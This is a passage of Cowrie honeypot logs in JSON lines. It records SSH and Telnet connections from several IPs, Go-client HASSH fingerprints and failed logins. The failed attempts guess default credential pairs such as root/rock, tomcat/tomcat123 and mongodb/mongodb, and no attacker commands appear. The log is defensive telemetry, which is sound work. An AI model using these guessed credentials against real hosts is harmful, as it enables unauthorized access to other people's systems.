{"eventid":"cowrie.session.closed","duration":6.413689374923706,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:23.940724Z","src_ip":"38.54.119.93","session":"cd1164dfd4fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:24.129026Z","src_ip":"176.65.132.254","session":"6cb60fc4a0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.70554256439209,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:24.735579Z","src_ip":"62.210.97.77","session":"ddce98af5e4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42528,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6fbc8d75eff","protocol":"telnet","message":"New connection: 62.210.97.77:42528 (10.17.0.5:23) [session: c6fbc8d75eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:26.390605Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45834,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad025b87b240","protocol":"ssh","message":"New connection: 176.65.132.254:45834 (10.17.0.5:22) [session: ad025b87b240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:26.878523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:26.889148Z","src_ip":"176.65.132.254","session":"ad025b87b240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:26.984711Z","src_ip":"176.65.132.254","session":"ad025b87b240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:27.246206Z","src_ip":"176.65.132.254","session":"ad025b87b240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:28.342809Z","src_ip":"176.65.132.254","session":"ad025b87b240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54478,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a700653e6c1","protocol":"telnet","message":"New connection: 38.54.119.93:54478 (10.17.0.5:23) [session: 7a700653e6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:29.403913Z"}
{"eventid":"cowrie.session.closed","duration":36.587419748306274,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:29.472934Z","src_ip":"62.210.97.77","session":"c6fe7ec9947e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50780,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa0086c6e0a8","protocol":"telnet","message":"New connection: 62.210.97.77:50780 (10.17.0.5:23) [session: fa0086c6e0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:30.747993Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45858,"dst_ip":"10.17.0.5","dst_port":22,"session":"27a2dbee4496","protocol":"ssh","message":"New connection: 176.65.132.254:45858 (10.17.0.5:22) [session: 27a2dbee4496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:30.993931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:31.001563Z","src_ip":"176.65.132.254","session":"27a2dbee4496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:31.084069Z","src_ip":"176.65.132.254","session":"27a2dbee4496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:31.348805Z","src_ip":"176.65.132.254","session":"27a2dbee4496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50786,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f59b3865a9","protocol":"telnet","message":"New connection: 62.210.97.77:50786 (10.17.0.5:23) [session: 74f59b3865a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:31.720192Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:32.439283Z","src_ip":"176.65.132.254","session":"27a2dbee4496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.14424514770508,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:33.319852Z","src_ip":"62.210.97.77","session":"743115c741a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93313026428223,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:33.482314Z","src_ip":"62.210.97.77","session":"d3f662048072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50796,"dst_ip":"10.17.0.5","dst_port":23,"session":"78945eb3e191","protocol":"telnet","message":"New connection: 62.210.97.77:50796 (10.17.0.5:23) [session: 78945eb3e191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:33.847249Z"}
{"eventid":"cowrie.session.closed","duration":32.53418588638306,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:34.219185Z","src_ip":"62.210.97.77","session":"4fc8bd7e5823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.566816329956055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:34.303021Z","src_ip":"62.210.97.77","session":"906ade5bd4b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50800,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee84cd8c125","protocol":"telnet","message":"New connection: 62.210.97.77:50800 (10.17.0.5:23) [session: dee84cd8c125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:34.614519Z"}
{"eventid":"cowrie.session.closed","duration":38.16040825843811,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:34.710924Z","src_ip":"62.210.97.77","session":"c7cefdffa2d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59992,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1c7d5a83ccd","protocol":"ssh","message":"New connection: 176.65.132.254:59992 (10.17.0.5:22) [session: c1c7d5a83ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.092859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.097699Z","src_ip":"176.65.132.254","session":"c1c7d5a83ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.180343Z","src_ip":"176.65.132.254","session":"c1c7d5a83ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.02879023551941,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.221388Z","src_ip":"62.210.97.77","session":"60cd405ea262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50812,"dst_ip":"10.17.0.5","dst_port":23,"session":"404d127979b0","protocol":"telnet","message":"New connection: 62.210.97.77:50812 (10.17.0.5:23) [session: 404d127979b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.227208Z"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.447094Z","src_ip":"176.65.132.254","session":"c1c7d5a83ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.094352722167969,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.497960Z","src_ip":"38.54.119.93","session":"7a700653e6c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57111668586731,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.726613Z","src_ip":"62.210.97.77","session":"a9bd9676b2a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50826,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d1b2c802af0","protocol":"telnet","message":"New connection: 62.210.97.77:50826 (10.17.0.5:23) [session: 3d1b2c802af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.755988Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50838,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e952d2f0df","protocol":"telnet","message":"New connection: 62.210.97.77:50838 (10.17.0.5:23) [session: 36e952d2f0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:35.853954Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:36.669572Z","src_ip":"176.65.132.254","session":"c1c7d5a83ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50850,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ccf7bc81913","protocol":"telnet","message":"New connection: 62.210.97.77:50850 (10.17.0.5:23) [session: 5ccf7bc81913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:37.135938Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50860,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b52bf18b62","protocol":"telnet","message":"New connection: 62.210.97.77:50860 (10.17.0.5:23) [session: a2b52bf18b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:37.257981Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60400,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b422c99e95d","protocol":"telnet","message":"New connection: 38.54.119.93:60400 (10.17.0.5:23) [session: 4b422c99e95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:38.360504Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60006,"dst_ip":"10.17.0.5","dst_port":22,"session":"102b77ef0cd4","protocol":"ssh","message":"New connection: 176.65.132.254:60006 (10.17.0.5:22) [session: 102b77ef0cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:39.472566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:39.477556Z","src_ip":"176.65.132.254","session":"102b77ef0cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:39.559774Z","src_ip":"176.65.132.254","session":"102b77ef0cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:39.805033Z","src_ip":"176.65.132.254","session":"102b77ef0cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.09527349472046,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:40.357447Z","src_ip":"62.210.97.77","session":"424baaabb249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.224.191.231","src_port":37170,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d5a8ff612d","protocol":"telnet","message":"New connection: 92.224.191.231:37170 (10.17.0.5:23) [session: 08d5a8ff612d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:40.427705Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:40.889024Z","src_ip":"176.65.132.254","session":"102b77ef0cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51544,"dst_ip":"10.17.0.5","dst_port":23,"session":"14a851bf6592","protocol":"telnet","message":"New connection: 62.210.97.77:51544 (10.17.0.5:23) [session: 14a851bf6592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:41.076329Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51554,"dst_ip":"10.17.0.5","dst_port":23,"session":"10e92e97a32c","protocol":"telnet","message":"New connection: 62.210.97.77:51554 (10.17.0.5:23) [session: 10e92e97a32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:42.239394Z"}
{"eventid":"cowrie.session.closed","duration":36.44209098815918,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:42.410945Z","src_ip":"62.210.97.77","session":"23aeb345b366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51558,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff6c275cfdd6","protocol":"telnet","message":"New connection: 62.210.97.77:51558 (10.17.0.5:23) [session: ff6c275cfdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:42.528855Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51592,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc184027769a","protocol":"ssh","message":"New connection: 176.65.132.254:51592 (10.17.0.5:22) [session: fc184027769a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:43.387332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:43.392250Z","src_ip":"176.65.132.254","session":"fc184027769a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:43.474348Z","src_ip":"176.65.132.254","session":"fc184027769a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49280,"dst_ip":"10.17.0.5","dst_port":23,"session":"f68463432a11","protocol":"telnet","message":"New connection: 65.60.27.33:49280 (10.17.0.5:23) [session: f68463432a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:43.521400Z"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:43.746443Z","src_ip":"176.65.132.254","session":"fc184027769a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.385778188705444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:44.483001Z","src_ip":"62.210.97.77","session":"ffe59cf4bc4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.207098960876465,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:44.567483Z","src_ip":"38.54.119.93","session":"4b422c99e95d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:44.840527Z","src_ip":"176.65.132.254","session":"fc184027769a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.76310586929321,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:46.004193Z","src_ip":"62.210.97.77","session":"b677719102cc","protocol":"telnet"}
